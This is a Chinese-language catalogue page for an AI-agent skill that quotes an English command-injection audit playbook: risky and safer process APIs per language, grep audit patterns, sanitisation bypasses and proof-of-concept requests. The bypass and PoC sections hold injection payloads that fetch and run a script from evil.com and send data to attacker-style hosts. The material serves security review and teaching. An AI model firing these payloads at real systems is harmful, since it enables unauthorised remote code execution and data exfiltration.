跳到正文
Skillpedia
安全6.5k · #13955

command-injection

它能做什么

这项技能是一份排查命令注入漏洞的操作指南。命令注入是指用户输入被传给操作系统 shell,使用户能够添加自己的命令。适合有权检查代码的开发人员和安全审查人员。

适用场景

  • ✓当开发人员要求智能体检查用户输入能否进入 shell 或系统命令时。
  • ✓当智能体审查上传工具、PDF 生成器或媒体转换器等调用外部程序的代码时。
  • ✓当团队需要按编程语言列出更安全的命令接口清单时。

技能链接

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/analyst/command-injection/SKILL.md

复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。

使用方法

最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。

可直接粘贴的消息

请用这个技能帮我:https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/analyst/command-injection/SKILL.md 阅读该链接中的 SKILL.md 文件,并在我的任务中按照它的说明来做。
想让你的 AI 自己找到这样的技能吗?安装免费的 Skillpedia MCP:只需一行,每次任务前它都会在 15,000+ 个技能中搜索。1 分钟完成安装 →

可以这样问 AI

“请帮我检查我们已获授权的源代码,看看是否有用户输入进入系统命令的地方?”

每周 5 个新技能,1 分钟读完。

工作原理

智能体在代码中搜索各语言常见的命令执行点,把输入追踪到每一个执行点,并列出需要更安全处理的位置。

技术内容(原始 SKILL.md)

作者在 GitHub 上的英文原文。

Command Injection Playbook

If SQL injection is the king of web vulns, command injection is the king of DevOps vulns. Every image-processing upload, PDF generator, ffmpeg wrapper, and "run a script" feature is a candidate.

1. Sinks

Language Dangerous Safer
Python os.system, subprocess.Popen(..., shell=True), os.popen, commands.getoutput subprocess.run([...], shell=False)
Node child_process.exec, execSync child_process.execFile, spawn (array args)
Go exec.Command("sh","-c",user) exec.Command(bin, arg1, arg2) with array
Java Runtime.exec(String) Runtime.exec(String[]), ProcessBuilder([...])
Ruby backticks, system(str), %x{...} Kernel.system(bin, *args), Open3.capture2e
PHP shell_exec, exec, system, backticks, passthru escapeshellarg + explicit execve

Even the "safer" APIs are exploitable if the binary path is user controlled (exec.Command(userBin, "--version")).

2. Non-obvious sinks

  • Template engines rendering shell: Ansible playbooks, systemd unit files, crontab strings
  • Docker-compose / k8s manifests where command: is built from user input
  • PDF libraries that shell out to pdflatex, wkhtmltopdf, puppeteer
  • ImageMagick — convert user.jpg out.png where user.jpg is attacker-chosen (classic ImageTragick)
  • ffmpeg -i with user-provided URL/file (SSRF + RCE combo)
  • Git clone with user-supplied URL (remote helper injection)
  • SSH/Rsync wrappers building ssh user@host "cmd" from templates
  • ZIP extractors passing archive path to unzip binary

3. Audit workflow

# Level 1: obvious sinks
grep -rE 'os\.system\(|subprocess.*shell\s*=\s*True|exec\s*\(' /workspace/src
grep -rE 'Runtime\.exec\(|ProcessBuilder\([^[]' /workspace/src
grep -rE 'child_process\.(exec|execSync)\(' /workspace/src

# Level 2: shell metacharacters in strings
grep -rE '"[^"]*\$\{[a-z]+\}.*(-[a-z]|[;|&])"' /workspace/src

# Level 3: template strings
grep -rE 'ffmpeg|pdflatex|wkhtmltopdf|convert|pandoc' /workspace/src

4. Bypasses

Even when developers "sanitize" via blocklists:

  • Argument injection (the -oProxyCommand trick) — passing -oProxyCommand=curl $(whoami).attacker.com to ssh-based sinks
  • Space replacement — ${IFS}, {ls,-la} (brace expansion)
  • Backtick/dollar-paren — $(id), `id`
  • Command substitution in filename — $(curl evil.com/x.sh | sh).jpg
  • Unicode normalisation — " (fullwidth) vs " bypass
  • Encoded newline — %0A turns single-command into multi-command
  • TarSlip — tar xzf user.tgz with --checkpoint-action=exec=...
  • Git — git clone 'ssh://ext::sh -c whoami # foo'

5. PoC ideas

# Spare out-of-band tester — DNS exfil confirms silent RCE
curl "https://target.com/export?filename=; curl $(whoami).attacker.oob/"

# Blind, response-timing based
curl "https://target.com/export?filename=; sleep 7 #.pdf"

# Noisy but fastest confirmation
curl "https://target.com/export?filename=; id > /tmp/pwn #.pdf"

6. validate_finding contract

  • success_patterns: uid=\d+, root, attacker OOB callback hit, total 0
  • negative_command: same URL, filename set to report.pdf
  • negative_patterns: 200, accepted

7. Default CVSS

Variant Vector Score
Blind OOB RCE unauth AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 9.8
Authenticated RCE (low priv) AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 8.8
RCE with scope change (container escape) AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H 10.0

8. Chain promotion

Command injection rarely needs chaining — it's the final hop of most chains. Instead, use it to promote earlier nodes: add enables edges from SSRF / file upload / path traversal vulns that deliver the initial payload.

常见问题

什么是命令注入?

就是用户输入被传给系统命令,并且让用户能够附加自己的命令。

哪些代码最容易受影响?

该技能列举了上传工具、PDF 生成器、视频封装工具以及调用外部程序的脚本等常见情况。

有哪些更安全的做法?

该技能列出了各语言中基于数组的进程调用方式,例如 Python 的 subprocess 传入参数列表,这样可以避开 shell。

详情

作者的原始描述

Hunt OS command injection (CWE-78) — user input reaching shell, exec, or system calls. Covers argument-array bypasses, path confusion, and template-string injection in modern frameworks.

repo: BitterSecurity/Decepticon

热度

GitHub 星标
6.5k
排名
#13955
许可证
Apache-2.0
更新时间
2026/11/1

这个技能有用吗?

0

登录 后即可投票。

评论

  • …

同一仓库的更多技能

相似技能